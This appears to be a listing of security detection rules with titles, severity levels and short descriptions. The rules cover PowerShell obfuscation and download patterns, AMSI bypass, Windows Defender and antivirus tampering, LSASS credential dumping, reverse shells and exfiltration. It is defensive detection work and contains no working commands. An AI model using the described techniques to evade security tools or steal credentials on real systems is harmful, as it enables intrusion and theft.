Potential PowerShell Obfuscation Using Character Join - Level: low Description: Detects specific techniques often seen used inside of PowerShell scripts to obfscuate Alias creation Suspicious PowerShell Download - Powershell Script - Level: medium Description: Detects suspicious PowerShell download command Suspicious PowerShell Invocations - Generic - Level: high Description: Detects suspicious PowerShell invocation command parameters Suspicious PowerShell Invocations - Specific - Level: high Description: Detects suspicious PowerShell invocation command parameters Potential Suspicious PowerShell Keywords - Level: medium Description: Detects potentially suspicious keywords that could indicate the use of a PowerShell exploitation framework Potential PowerShell Obfuscation Using Alias Cmdlets - Level: low Description: Detects Set-Alias or New-Alias cmdlet usage. Which can be use as a mean to obfuscate PowerShell scripts Usage Of Web Request Commands And Cmdlets - ScriptBlock - Level: medium Description: Detects the use of various web request commands with commandline tools and Windows PowerShell cmdlets (including aliases) via PowerShell scriptblock logs Potential WinAPI Calls Via PowerShell Scripts - Level: high Description: Detects use of WinAPI functions in PowerShell scripts WMImplant Hack Tool - Level: high Description: Detects parameters used by WMImplant Powershell XML Execute Command - Level: medium Description: Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code Remote LSASS Process Access Through Windows Remote Management - Level: high Description: Detects remote access to the LSASS process via WinRM. This could be a sign of credential dumping from tools like mimikatz. Command Line Execution with Suspicious URL and AppData Strings - Level: medium Description: Detects a suspicious command line execution that includes an URL and AppData string in the command line parameters as used by several droppers (js/vbs > powershell) Suspicious File Execution From Internet Hosted WebDav Share - Level: high Description: Detects the execution of the "net use" command to mount a WebDAV server and then immediately execute some content in it. As seen being used in malicious LNK files Cmd.EXE Missing Space Characters Execution Anomaly - Level: high Description: Detects Windows command lines that miss a space before or after the /c flag when running a command using the cmd.exe. This could be a sign of obfuscation of a fat finger problem (typo by the developer). Powershell Executed From Headless ConHost Process - Level: medium Description: Detects the use of powershell commands from headless ConHost window. The "--headless" flag hides the windows from the user upon execution. HTML Help HH.EXE Suspicious Child Process - Level: high Description: Detects a suspicious child process of a Microsoft HTML Help (HH.exe) Suspicious HH.EXE Execution - Level: high Description: Detects a suspicious execution of a Microsoft HTML Help (HH.exe) HackTool - Bloodhound/Sharphound Execution - Level: high Description: Detects command line parameters used by Bloodhound and Sharphound hack tools HackTool - Covenant PowerShell Launcher - Level: high Description: Detects suspicious command lines used in Covenant luanchers HackTool - CrackMapExec Execution - Level: high Description: This rule detect common flag combinations used by CrackMapExec in order to detect its use even if the binary has been replaced. HackTool - CrackMapExec Execution Patterns - Level: high Description: Detects various execution patterns of the CrackMapExec pentesting framework HackTool - CrackMapExec PowerShell Obfuscation - Level: high Description: The CrachMapExec pentesting framework implements a PowerShell obfuscation with some static strings detected by this rule. HackTool - Empire PowerShell Launch Parameters - Level: high Description: Detects suspicious powershell command line parameters used in Empire Invoke-Obfuscation COMPRESS OBFUSCATION - Level: medium Description: Detects Obfuscated Powershell via COMPRESS OBFUSCATION Invoke-Obfuscation CLIP+ Launcher - Level: high Description: Detects Obfuscated use of Clip.exe to execute PowerShell Invoke-Obfuscation Obfuscated IEX Invocation - Level: high Description: Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the following code block Invoke-Obfuscation STDIN+ Launcher - Level: high Description: Detects Obfuscated use of stdin to execute PowerShell Invoke-Obfuscation VAR+ Launcher - Level: high Description: Detects Obfuscated use of Environment Variables to execute PowerShell Invoke-Obfuscation Via Stdin - Level: high Description: Detects Obfuscated Powershell via Stdin in Scripts Invoke-Obfuscation Via Use Clip - Level: high Description: Detects Obfuscated Powershell via use Clip.exe in Scripts Invoke-Obfuscation Via Use MSHTA - Level: high Description: Detects Obfuscated Powershell via use MSHTA in Scripts Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - Level: high Description: Detects Obfuscated Powershell via VAR++ LAUNCHER HackTool - Default PowerSploit/Empire Scheduled Task Creation - Level: high Description: Detects the creation of a schtask via PowerSploit or Empire Default Configuration. Execute Code with Pester.bat as Parent - Level: medium Description: Detects code execution via Pester.bat (Pester - Powershell Modulte for testing) Execute Code with Pester.bat - Level: medium Description: Detects code execution via Pester.bat (Pester - Powershell Modulte for testing) Detection of PowerShell Execution via Sqlps.exe - Level: medium Description: This rule detects execution of a PowerShell code through the sqlps.exe utility, which is included in the standard set of utilities supplied with the MSSQL Server. Script blocks are not logged in this case, so this utility helps to bypass protection mechanisms based on the analysis of these logs. SQL Client Tools PowerShell Session Detection - Level: medium Description: This rule detects execution of a PowerShell code through the sqltoolsps.exe utility, which is included in the standard set of utilities supplied with the Microsoft SQL Server Management studio. Script blocks are not logged in this case, so this utility helps to bypass protection mechanisms based on the analysis of these logs. Suspicious Encoded PowerShell Command Line - Level: high Description: Detects suspicious powershell process starts with base64 encoded commands (e.g. Emotet) Suspicious PowerShell Encoded Command Patterns - Level: high Description: Detects PowerShell command line patterns in combincation with encoded commands that often appear in malware infection chains PowerShell Base64 Encoded FromBase64String Cmdlet - Level: high Description: Detects usage of a base64 encoded "FromBase64String" cmdlet in a process command line Malicious Base64 Encoded PowerShell Keywords in Command Lines - Level: high Description: Detects base64 encoded strings used in hidden malicious PowerShell command lines PowerShell Base64 Encoded IEX Cmdlet - Level: high Description: Detects usage of a base64 encoded "IEX" cmdlet in a process command line PowerShell Base64 Encoded Invoke Keyword - Level: high Description: Detects UTF-8 and UTF-16 Base64 encoded powershell 'Invoke-' calls PowerShell Base64 Encoded Reflective Assembly Load - Level: high Description: Detects base64 encoded .NET reflective loading of Assembly Suspicious Encoded And Obfuscated Reflection Assembly Load Function Call - Level: high Description: Detects suspicious base64 encoded and obfuscated "LOAD" keyword used in .NET "reflection.assembly" PowerShell Base64 Encoded WMI Classes - Level: high Description: Detects calls to base64 encoded WMI class such as "Win32_ShadowCopy", "Win32_ScheduledJob", etc. Potential PowerShell Obfuscation Via Reversed Commands - Level: high Description: Detects the presence of reversed PowerShell commands in the CommandLine. This is often used as a method of obfuscation by attackers ConvertTo-SecureString Cmdlet Usage Via CommandLine - Level: medium Description: Detects usage of the "ConvertTo-SecureString" cmdlet via the commandline. Which is fairly uncommon and could indicate potential suspicious activity Potential PowerShell Command Line Obfuscation - Level: high Description: Detects the PowerShell command lines with special characters Potential PowerShell Downgrade Attack - Level: medium Description: Detects PowerShell downgrade attack by comparing the host versions with the actually used engine version 2.0 PowerShell Web Download - Level: medium Description: Detects suspicious ways to download files or content using PowerShell Obfuscated PowerShell OneLiner Execution - Level: high Description: Detects the execution of a specific OneLiner to download and execute powershell modules in memory. Potential DLL File Download Via PowerShell Invoke-WebRequest - Level: medium Description: Detects potential DLL files being downloaded using the PowerShell Invoke-WebRequest cmdlet PowerShell Download Pattern - Level: medium Description: Detects a Powershell process that contains download commands in its command line string DSInternals Suspicious PowerShell Cmdlets - Level: high Description: Detects execution and usage of the DSInternals PowerShell module. Which can be used to perform what might be considered as suspicious activity such as dumping DPAPI backup keys or manipulating NTDS.DIT files. The DSInternals PowerShell Module exposes several internal features of Active Directory and Azure Active Directory. These include FIDO2 and NGC key auditing, offline ntds.dit file manipulation, password auditing, DC recovery from IFM backups and password hash calculation. Suspicious Execution of Powershell with Base64 - Level: medium Description: Commandline to launch powershell with a base64 payload Potential Encoded PowerShell Patterns In CommandLine - Level: low Description: Detects specific combinations of encoding methods in PowerShell via the commandline Powershell Inline Execution From A File - Level: medium Description: Detects inline execution of PowerShell code from a file Certificate Exported Via PowerShell - Level: medium Description: Detects calls to cmdlets that are used to export certificates from the local certificate store. Threat actors were seen abusing this to steal private keys from compromised machines. Base64 Encoded PowerShell Command Detected - Level: high Description: Detects usage of the "FromBase64String" function in the commandline which is used to decode a base64 encoded string Suspicious PowerShell IEX Execution Patterns - Level: high Description: Detects suspicious ways to run Invoke-Execution using IEX alias Import PowerShell Modules From Suspicious Directories - ProcCreation - Level: medium Description: Detects powershell scripts that import modules from suspicious directories Malicious PowerShell Commandlets - ProcessCreation - Level: high Description: Detects Commandlet names from well-known PowerShell exploitation frameworks Non Interactive PowerShell Process Spawned - Level: low Description: Detects non-interactive PowerShell activity by looking at the "powershell" process with a non-user GUI process such as "explorer.exe" as a parent. Potential PowerShell Obfuscation Via WCHAR - Level: high Description: Detects suspicious encoded character syntax often used for defense evasion Execution of Powershell Script in Public Folder - Level: high Description: This rule detects execution of PowerShell scripts located in the "C:\Users\Public" folder Potential Powershell ReverseShell Connection - Level: high Description: Detects usage of the "TcpClient" class. Which can be abused to establish remote connections and reverse-shells. As seen used by the Nishang "Invoke-PowerShellTcpOneLine" reverse shell and other. Suspicious PowerShell Invocation From Script Engines - Level: medium Description: Detects suspicious powershell invocations from interpreters or unusual programs Change PowerShell Policies to an Insecure Level - Level: medium Description: Detects changing the PowerShell script execution policy to a potentially insecure level using the "-ExecutionPolicy" flag. Exchange PowerShell Snap-Ins Usage - Level: high Description: Detects adding and using Exchange PowerShell snap-ins to export mailbox data. As seen used by HAFNIUM and APT27 Suspicious PowerShell Download and Execute Pattern - Level: high Description: Detects suspicious PowerShell download patterns that are often used in malicious scripts, stagers or downloaders (make sure that your backend applies the strings case-insensitive) Suspicious PowerShell Parameter Substring - Level: high Description: Detects suspicious PowerShell invocation with a parameter substring Suspicious PowerShell Parent Process - Level: high Description: Detects a suspicious or uncommon parent processes of PowerShell PowerShell Script Run in AppData - Level: medium Description: Detects a suspicious command line execution that invokes PowerShell with reference to an AppData folder PowerShell DownloadFile - Level: high Description: Detects the execution of powershell, a WebClient object creation and the invocation of DownloadFile in a single command line Net WebClient Casing Anomalies - Level: high Description: Detects PowerShell command line contents that include a suspicious abnormal casing in the Net.Webclient (e.g. nEt.WEbCliEnT) string as used in obfuscation techniques Suspicious XOR Encoded PowerShell Command - Level: medium Description: Detects presence of a potentially xor encoded powershell command Suspicious Schtasks Execution AppData Folder - Level: high Description: Detects the creation of a schtask that executes a file from C:\Users\\AppData\Local Potential Persistence Via Powershell Search Order Hijacking - Task - Level: high Description: Detects suspicious powershell execution via a schedule task where the command ends with an suspicious flags to hide the powershell instance instead of executeing scripts or commands. This could be a sign of persistence via PowerShell "Get-Variable" technique as seen being used in Colibri Loader Scheduled Task Executing Payload from Registry - Level: medium Description: Detects the creation of a schtasks that potentially executes a payload stored in the Windows Registry using PowerShell. Scheduled Task Executing Encoded Payload from Registry - Level: high Description: Detects the creation of a schtask that potentially executes a base64 encoded payload stored in the Windows Registry using PowerShell. Potential Data Exfiltration Activity Via CommandLine Tools - Level: high Description: Detects the use of various CLI utilities exfiltrating data via web requests Hidden Powershell in Link File Pattern - Level: medium Description: Detects events that appear when a user click on a link file with a powershell command in it Windows Shell/Scripting Processes Spawning Suspicious Programs - Level: high Description: Detects suspicious child processes of a Windows shell and scripting processes such as wscript, rundll32, powershell, mshta...etc. Usage Of Web Request Commands And Cmdlets - Level: medium Description: Detects the use of various web request commands with commandline tools and Windows PowerShell cmdlets (including aliases) via CommandLine Potentially Suspicious WebDAV LNK Execution - Level: medium Description: Detects possible execution via LNK file accessed on a WebDAV server. Remote PowerShell Session Host Process (WinRM) - Level: medium Description: Detects remote PowerShell sections by monitoring for wsmprovhost (WinRM host process) as a parent or child process (sign of an active PowerShell remote session). Potential WMI Lateral Movement WmiPrvSE Spawned PowerShell - Level: medium Description: Detects Powershell as a child of the WmiPrvSE process. Which could be a sign of lateral movement via WMI. Potentially Suspicious Command Executed Via Run Dialog Box - Registry - Level: high Description: Detects execution of commands via the run dialog box on Windows by checking values of the "RunMRU" registry key. This technique was seen being abused by threat actors to deceive users into pasting and executing malicious commands, often disguised as CAPTCHA verification steps. Turla Group Commands May 2020 - Level: critical Description: Detects commands used by Turla group as reported by ESET in May 2020 TropicTrooper Campaign November 2018 - Level: high Description: Detects TropicTrooper activity, an actor who targeted high-profile organizations in the energy and food and beverage sectors in Asia Potential Baby Shark Malware Activity - Level: high Description: Detects activity that could be related to Baby Shark malware Potential Emotet Activity - Level: high Description: Detects all Emotet like process executions that are not covered by the more generic rules Operation Wocao Activity - Level: high Description: Detects activity mentioned in Operation Wocao report Operation Wocao Activity - Security - Level: high Description: Detects activity mentioned in Operation Wocao report Suspicious PrinterPorts Creation (CVE-2020-1048) - Level: high Description: Detects new commands that add new printer port which point to suspicious file Exploited CVE-2020-10189 Zoho ManageEngine - Level: high Description: Detects the exploitation of Zoho ManageEngine Desktop Central Java Deserialization vulnerability reported as CVE-2020-10189 UNC2452 Process Creation Patterns - Level: high Description: Detects a specific process creation patterns as seen used by UNC2452 and provided by Microsoft as Microsoft Defender ATP queries Greenbug Espionage Group Indicators - Level: critical Description: Detects tools and process executions used by Greenbug in their May 2020 campaign as reported by Symantec UNC2452 PowerShell Pattern - Level: critical Description: Detects a specific PowerShell command line pattern used by the UNC2452 actors as mentioned in Microsoft and Symantec reports Potential BlackByte Ransomware Activity - Level: high Description: Detects command line patterns used by BlackByte ransomware in different operations CVE-2022-24527 Microsoft Connected Cache LPE - Level: high Description: Detects files created during the local privilege exploitation of CVE-2022-24527 Microsoft Connected Cache Potential Bumblebee Remote Thread Creation - Level: high Description: Detects remote thread injection events based on action seen used by bumblebee ChromeLoader Malware Execution - Level: high Description: Detects execution of ChromeLoader malware via a registered scheduled task Raspberry Robin Subsequent Execution of Commands - Level: high Description: Detects raspberry robin subsequent execution of commands. Raspberry Robin Initial Execution From External Drive - Level: high Description: Detects the initial execution of the Raspberry Robin malware from an external drive using "Cmd.EXE". FakeUpdates/SocGholish Activity - Level: high Description: Detects initial execution of FakeUpdates/SocGholish malware via wscript that later executes commands via cmd or powershell. MERCURY APT Activity - Level: high Description: Detects suspicious command line patterns seen being used by MERCURY APT Rorschach Ransomware Execution Activity - Level: critical Description: Detects Rorschach ransomware execution activity Potential APT FIN7 POWERHOLD Execution - Level: high Description: Detects execution of the POWERHOLD script seen used by FIN7 as reported by WithSecureLabs Potential POWERTRASH Script Execution - Level: high Description: Detects potential execution of the PowerShell script POWERTRASH Lace Tempest PowerShell Evidence Eraser - Level: high Description: Detects a PowerShell script used by Lace Tempest APT to erase evidence from victim servers by exploiting CVE-2023-47246 as reported by SysAid Team Lace Tempest PowerShell Launcher - Level: high Description: Detects a PowerShell script used by Lace Tempest APT to launch their malware loader by exploiting CVE-2023-47246 as reported by SysAid Team Potential APT FIN7 Exploitation Activity - Level: medium Description: Detects potential APT FIN7 exploitation activity as reported by Google. In order to obtain initial access, FIN7 used compromised Remote Desktop Protocol (RDP) credentials to login to a target server and initiate specific Windows process chains. Remote Thread Creation Via PowerShell - Level: medium Description: Detects the creation of a remote thread from a Powershell process to another process Network Connection Initiated By PowerShell Process - Level: low Description: Detects a network connection that was initiated from a PowerShell process. Often times malicious powershell scripts download additional payloads or communicate back to command and control channels via uncommon ports or IPs. Use this rule as a basis for hunting for anomalies. Uncommon PowerShell Hosts - Level: medium Description: Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe bXOR Operator Usage In PowerShell Command Line - PowerShell Classic - Level: low Description: Detects powershell execution with that make use of to the bxor (Bitwise XOR). Attackers might use as an alternative obfuscation method to Base64 encoded commands. Investigate the CommandLine and process tree to determine if the activity is malicious. WinAPI Library Calls Via PowerShell Scripts - Level: medium Description: Detects calls to WinAPI libraries from PowerShell scripts. Attackers can often leverage these APIs to avoid detection based on typical PowerShell function calls. Use this rule as a basis to hunt for interesting scripts. WinAPI Function Calls Via PowerShell Scripts - Level: medium Description: Detects calls to WinAPI functions from PowerShell scripts. Attackers can often leverage these APIs to avoid detection based on typical PowerShell function calls. Use this rule as a basis to hunt for interesting scripts. Headless Process Launched Via Conhost.EXE - Level: medium Description: Detects the launch of a child process via "conhost.exe" with the "--headless" flag. The "--headless" flag hides the windows from the user upon execution. Unusually Long PowerShell CommandLine - Level: low Description: Detects unusually long PowerShell command lines with a length of 1000 characters or more Invocation Of Crypto-Classes From The "Cryptography" PowerShell Namespace - Level: medium Description: Detects the invocation of PowerShell commands with references to classes from the "System.Security.Cryptography" namespace. The PowerShell namespace "System.Security.Cryptography" provides classes for on-the-fly encryption and decryption. These can be used for example in decrypting malicious payload for defense evasion. Potentially Suspicious PowerShell Child Processes - Level: medium Description: Detects potentially suspicious child processes spawned by PowerShell. Use this rule to hunt for potential anomalies initiating from PowerShell scripts and commands. Registry Set With Crypto-Classes From The "Cryptography" PowerShell Namespace - Level: medium Description: Detects the setting of a registry inside the "\Shell\Open\Command" value with PowerShell classes from the "System.Security.Cryptography" namespace. The PowerShell namespace "System.Security.Cryptography" provides classes for on-the-fly encryption and decryption. These can be used for example in decrypting malicious payload for defense evasion. Invoke-Obfuscation CLIP+ Launcher - Level: high Description: Detects Obfuscated use of Clip.exe to execute PowerShell Invoke-Obfuscation STDIN+ Launcher - Level: high Description: Detects Obfuscated use of stdin to execute PowerShell Invoke-Obfuscation VAR+ Launcher - Level: high Description: Detects Obfuscated use of Environment Variables to execute PowerShell Invoke-Obfuscation COMPRESS OBFUSCATION - Level: medium Description: Detects Obfuscated Powershell via COMPRESS OBFUSCATION Invoke-Obfuscation RUNDLL LAUNCHER - Level: medium Description: Detects Obfuscated Powershell via RUNDLL LAUNCHER Invoke-Obfuscation Via Stdin - Level: high Description: Detects Obfuscated Powershell via Stdin in Scripts Invoke-Obfuscation Via Use Clip - Level: high Description: Detects Obfuscated Powershell via use Clip.exe in Scripts Invoke-Obfuscation Via Use MSHTA - Level: high Description: Detects Obfuscated Powershell via use MSHTA in Scripts Invoke-Obfuscation Via Use Rundll32 - Level: high Description: Detects Obfuscated Powershell via use Rundll32 in Scripts Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - Level: high Description: Detects Obfuscated Powershell via VAR++ LAUNCHER
attack.t1562.001	113	Show Rules (113) PowerShell AMSI Bypass Pattern - Level: high Description: Detects attempts to disable AMSI in the command line. It is possible to bypass AMSI by disabling it before loading the main payload. Stop Or Remove Antivirus Service - Level: high Description: Detects usage of 'Stop-Service' or 'Remove-Service' powershell cmdlet to disable AV services. Adversaries may disable security tools to avoid possible detection of their tools and activities by stopping antivirus service Suspicious Execution of Sc to Delete AV Services - Level: high Description: Detects when attackers use "sc.exe" to delete AV services from the system in order to avoid detection Disable Microsoft Office Security Features - Level: high Description: Disable Microsoft Office Security Features by registry Windows Defender Threat Detection Disabled - Level: high Description: Detects disabling Windows Defender threat protection AWS CloudTrail Important Change - Level: medium Description: Detects disabling, deleting and updating of a Trail AWS Config Disabling Channel/Recorder - Level: high Description: Detects AWS Config Service disabling AWS GuardDuty Important Change - Level: high Description: Detects updates of the GuardDuty list of trusted IPs, perhaps to disable security alerts against malicious IPs. Azure Kubernetes Events Deleted - Level: medium Description: Detects when Events are deleted in Azure Kubernetes. An adversary may delete events in Azure Kubernetes in an attempt to evade detection. Bitbucket Global Secret Scanning Rule Deleted - Level: medium Description: Detects Bitbucket global secret scanning rule deletion activity. Bitbucket Global SSH Settings Changed - Level: medium Description: Detects Bitbucket global SSH access configuration changes. Bitbucket Audit Log Configuration Updated - Level: medium Description: Detects changes to the bitbucket audit log configuration. Bitbucket Project Secret Scanning Allowlist Added - Level: low Description: Detects when a secret scanning allowlist rule is added for projects. Bitbucket Secret Scanning Exempt Repository Added - Level: high Description: Detects when a repository is exempted from secret scanning feature. Bitbucket Secret Scanning Rule Deleted - Level: low Description: Detects when secret scanning rule is deleted for the project or repository. Github Push Protection Bypass Detected - Level: low Description: Detects when a user bypasses the push protection on a secret detected by secret scanning. Github Push Protection Disabled - Level: high Description: Detects if the push protection feature is disabled for an organization, enterprise, repositories or custom pattern rules. Github Secret Scanning Feature Disabled - Level: high Description: Detects if the secret scanning feature is disabled for an enterprise or repository. ESXi Syslog Configuration Change Via ESXCLI - Level: medium Description: Detects changes to the ESXi syslog configuration via "esxcli" Disable Security Tools - Level: medium Description: Detects disabling security tools Cisco Disabling Logging - Level: high Description: Turn off logging locally or remote Microsoft Malware Protection Engine Crash - Level: high Description: This rule detects a suspicious crash of the Microsoft Malware Protection Engine Microsoft Malware Protection Engine Crash - WER - Level: high Description: This rule detects a suspicious crash of the Microsoft Malware Protection Engine Weak Encryption Enabled and Kerberoast - Level: high Description: Detects scenario where weak encryption is enabled for a user profile which could be used for hash/password cracking. NetNTLM Downgrade Attack - Level: high Description: Detects NetNTLM downgrade attack Potential Privileged System Service Operation - SeLoadDriverPrivilege - Level: medium Description: Detects the usage of the 'SeLoadDriverPrivilege' privilege. This privilege is required to load or unload a device driver. With this privilege, the user can dynamically load and unload device drivers or other code in to kernel mode. This user right does not apply to Plug and Play device drivers. If you exclude privileged users/admins and processes, which are allowed to do so, you are maybe left with bad programs trying to load malicious kernel drivers. This will detect Ghost-In-The-Logs (https://github.com/bats3c/Ghost-In-The-Logs) and the usage of Sysinternals and various other tools. So you have to work with a whitelist to find the bad stuff. Windows Defender Exclusion List Modified - Level: medium Description: Detects modifications to the Windows Defender exclusion registry key. This could indicate a potentially suspicious or even malicious activity by an attacker trying to add a new exclusion in order to bypass security. Windows Defender Exclusion Deleted - Level: medium Description: Detects when a Windows Defender exclusion has been deleted. This could indicate an attacker trying to delete their tracks by removing the added exclusions Windows Defender Exclusion Registry Key - Write Access Requested - Level: medium Description: Detects write access requests to the Windows Defender exclusions registry keys. This could be an indication of an attacker trying to request a handle or access the object to write new exclusions in order to bypass security. Windows Defender Threat Detection Service Disabled - Level: medium Description: Detects when the "Windows Defender Threat Protection" service is disabled. Windows Defender Grace Period Expired - Level: high Description: Detects the expiration of the grace period of Windows Defender. This means protection against viruses, spyware, and other potentially unwanted software is disabled. Windows Defender Exclusions Added - Level: medium Description: Detects the Setting of Windows Defender Exclusions Windows Defender Exploit Guard Tamper - Level: high Description: Detects when someone is adding or removing applications or folders from exploit guard "ProtectedFolders" or "AllowedApplications" Windows Defender Submit Sample Feature Disabled - Level: low Description: Detects disabling of the "Automatic Sample Submission" feature of Windows Defender. Windows Defender Malware And PUA Scanning Disabled - Level: high Description: Detects disabling of the Windows Defender feature of scanning for malware and other potentially unwanted software Windows Defender Real-time Protection Disabled - Level: high Description: Detects disabling of Windows Defender Real-time Protection. As this event doesn't contain a lot of information on who initiated this action you might want to reduce it to a "medium" level if this occurs too many times in your environment Windows Defender Real-Time Protection Failure/Restart - Level: medium Description: Detects issues with Windows Defender Real-Time Protection features Win Defender Restored Quarantine File - Level: high Description: Detects the restoration of files from the defender quarantine Windows Defender Configuration Changes - Level: high Description: Detects suspicious changes to the Windows Defender configuration Microsoft Defender Tamper Protection Trigger - Level: high Description: Detects blocked attempts to change any of Defender's settings such as "Real Time Monitoring" and "Behavior Monitoring" Windows Defender Virus Scanning Feature Disabled - Level: high Description: Detects disabling of the Windows Defender virus scanning feature Suspicious PROCEXP152.sys File Created In TMP - Level: medium Description: Detects the creation of the PROCEXP152.sys file in the application-data local temporary folder. This driver is used by Sysinternals Process Explorer but also by KDU (https://github.com/hfiref0x/KDU) or Ghost-In-The-Logs (https://github.com/bats3c/Ghost-In-The-Logs), which uses KDU. Load Of RstrtMgr.DLL By A Suspicious Process - Level: high Description: Detects the load of RstrtMgr DLL (Restart Manager) by a suspicious process. This library has been used during ransomware campaigns to kill processes that would prevent file encryption by locking them (e.g. Conti ransomware, Cactus ransomware). It has also recently been seen used by the BiBi wiper for Windows. It could also be used for anti-analysis purposes by shut downing specific processes. Load Of RstrtMgr.DLL By An Uncommon Process - Level: low Description: Detects the load of RstrtMgr DLL (Restart Manager) by an uncommon process. This library has been used during ransomware campaigns to kill processes that would prevent file encryption by locking them (e.g. Conti ransomware, Cactus ransomware). It has also recently been seen used by the BiBi wiper for Windows. It could also be used for anti-analysis purposes by shut downing specific processes. Tamper Windows Defender - PSClassic - Level: high Description: Attempting to disable scheduled scanning and other parts of Windows Defender ATP or set default actions to allow. AMSI Bypass Pattern Assembly GetType - Level: high Description: Detects code fragments found in small and obfuscated AMSI bypass PowerShell scripts Potential AMSI Bypass Script Using NULL Bits - Level: medium Description: Detects usage of special strings/null bits in order to potentially bypass AMSI functionalities Disable-WindowsOptionalFeature Command PowerShell - Level: high Description: Detect built in PowerShell cmdlet Disable-WindowsOptionalFeature, Deployment Image Servicing and Management tool. Similar to DISM.exe, this cmdlet is used to enumerate, install, uninstall, configure, and update features and packages in Windows images Tamper Windows Defender Remove-MpPreference - ScriptBlockLogging - Level: high Description: Detects attempts to remove Windows Defender configuration using the 'MpPreference' cmdlet Tamper Windows Defender - ScriptBlockLogging - Level: high Description: Detects PowerShell scripts attempting to disable scheduled scanning and other parts of Windows Defender ATP or set default actions to allow. HackTool - CobaltStrike BOF Injection Pattern - Level: high Description: Detects a typical pattern of a CobaltStrike BOF which inject into other processes Dism Remove Online Package - Level: medium Description: Deployment Image Servicing and Management tool. DISM is used to enumerate, install, uninstall, configure, and update features and packages in Windows images HackTool - PowerTool Execution - Level: high Description: Detects the execution of the tool PowerTool which has the ability to kill a process, delete its process file, unload drivers, and delete the driver files HackTool - Stracciatella Execution - Level: high Description: Detects Stracciatella which executes a Powershell runspace from within C# (aka SharpPick technique) with AMSI, ETW and Script Block Logging disabled based on PE metadata characteristics. Suspicious Windows Trace ETW Session Tamper Via Logman.EXE - Level: high Description: Detects the execution of "logman" utility in order to disable or delete Windows trace sessions Windows Defender Definition Files Removed - Level: high Description: Adversaries may disable security tools to avoid possible detection of their tools and activities by removing Windows Defender Definition Files Potential AMSI Bypass Via .NET Reflection - Level: high Description: Detects Request to "amsiInitFailed" that can be used to disable AMSI Scanning Potential AMSI Bypass Using NULL Bits - Level: medium Description: Detects usage of special strings/null bits in order to potentially bypass AMSI functionalities Powershell Base64 Encoded MpPreference Cmdlet - Level: high Description: Detects base64 encoded "MpPreference" PowerShell cmdlet code that tries to modifies or tamper with Windows Defender AV Powershell Defender Disable Scan Feature - Level: high Description: Detects requests to disable Microsoft Defender features using PowerShell commands Powershell Defender Exclusion - Level: medium Description: Detects requests to exclude files, folders or processes from Antivirus scanning using PowerShell cmdlets Disable Windows Defender AV Security Monitoring - Level: high Description: Detects attackers attempting to disable Windows Defender using Powershell Disabled IE Security Features - Level: high Description: Detects command lines that indicate unwanted modifications to registry keys that disable important Internet Explorer security features Obfuscated PowerShell OneLiner Execution - Level: high Description: Detects the execution of a specific OneLiner to download and execute powershell modules in memory. Tamper Windows Defender Remove-MpPreference - Level: high Description: Detects attempts to remove Windows Defender configurations using the 'MpPreference' cmdlet Service StartupType Change Via PowerShell Set-Service - Level: medium Description: Detects the use of the PowerShell "Set-Service" cmdlet to change the startup type of a service to "disabled" or "manual" PUA - CleanWipe Execution - Level: high Description: Detects the use of CleanWipe a tool usually used to delete Symantec antivirus. Python Function Execution Security Warning Disabled In Excel - Level: high Description: Detects changes to the registry value "PythonFunctionWarnings" that would prevent any warnings or alerts from showing when Python functions are about to be executed. Threat actors could run malicious code through the new Microsoft Excel feature that allows Python to run within the spreadsheet. Add SafeBoot Keys Via Reg Utility - Level: high Description: Detects execution of "reg.exe" commands with the "add" or "copy" flags on safe boot registry keys. Often used by attacker to allow the ransomware to work in safe mode as some security products do not SafeBoot Registry Key Deleted Via Reg.EXE - Level: high Description: Detects execution of "reg.exe" commands with the "delete" flag on safe boot registry keys. Often used by attacker to prevent safeboot execution of security products Suspicious Windows Defender Folder Exclusion Added Via Reg.EXE - Level: medium Description: Detects the usage of "reg.exe" to add Defender folder exclusions. Qbot has been seen using this technique to add exclusions for folders within AppData and ProgramData. Service Registry Key Deleted Via Reg.EXE - Level: high Description: Detects execution of "reg.exe" commands with the "delete" flag on services registry key. Often used by attacker to remove AV software services Security Service Disabled Via Reg.EXE - Level: high Description: Detects execution of "reg.exe" to disable security services such as Windows Defender. Reg Add Suspicious Paths - Level: high Description: Detects when an adversary uses the reg.exe utility to add or modify new keys or subkeys Disabled Volume Snapshots - Level: high Description: Detects commands that temporarily turn off Volume Snapshots Suspicious Windows Defender Registry Key Tampering Via Reg.EXE - Level: high Description: Detects the usage of "reg.exe" to tamper with different Windows Defender registry keys in order to disable some important features related to protection and detection Service StartupType Change Via Sc.EXE - Level: medium Description: Detect the use of "sc.exe" to change the startup type of a service to "disabled" or "demand" Raccine Uninstall - Level: high Description: Detects commands that indicate a Raccine removal from an end system. Raccine is a free ransomware protection tool. Suspicious Windows Service Tampering - Level: high Description: Detects the usage of binaries such as 'net', 'sc' or 'powershell' in order to stop, pause, disable or delete critical or important Windows services such as AV, Backup, etc. As seen being used in some ransomware scripts Sysinternals PsSuspend Suspicious Execution - Level: high Description: Detects suspicious execution of Sysinternals PsSuspend, where the utility is used to suspend critical processes such as AV or EDR to bypass defenses Sysmon Configuration Update - Level: medium Description: Detects updates to Sysmon's configuration. Attackers might update or replace the Sysmon configuration with a bare bone one to avoid monitoring without shutting down the service completely Uninstall Sysinternals Sysmon - Level: high Description: Detects the removal of Sysmon, which could be a potential attempt at defense evasion Taskkill Symantec Endpoint Protection - Level: high Description: Detects one of the possible scenarios for disabling Symantec Endpoint Protection. Symantec Endpoint Protection antivirus software services incorrectly implement the protected service mechanism. As a result, the NT AUTHORITY/SYSTEM user can execute the taskkill /im command several times ccSvcHst.exe /f, thereby killing the process belonging to the service, and thus shutting down the service. Uninstall Crowdstrike Falcon Sensor - Level: high Description: Adversaries may disable security tools to avoid possible detection of their tools and activities by uninstalling Crowdstrike Falcon Potential Tampering With Security Products Via WMIC - Level: high Description: Detects uninstallation or termination of security products using the WMIC utility Folder Removed From Exploit Guard ProtectedFolders List - Registry - Level: high Description: Detects the removal of folders from the "ProtectedFolders" list of of exploit guard. This could indicate an attacker trying to launch an encryption process or trying to manipulate data inside of the protected folder Removal Of AMSI Provider Registry Keys - Level: high Description: Detects the deletion of AMSI provider registry key entries in HKLM\Software\Microsoft\AMSI. This technique could be used by an attacker in order to disable AMSI 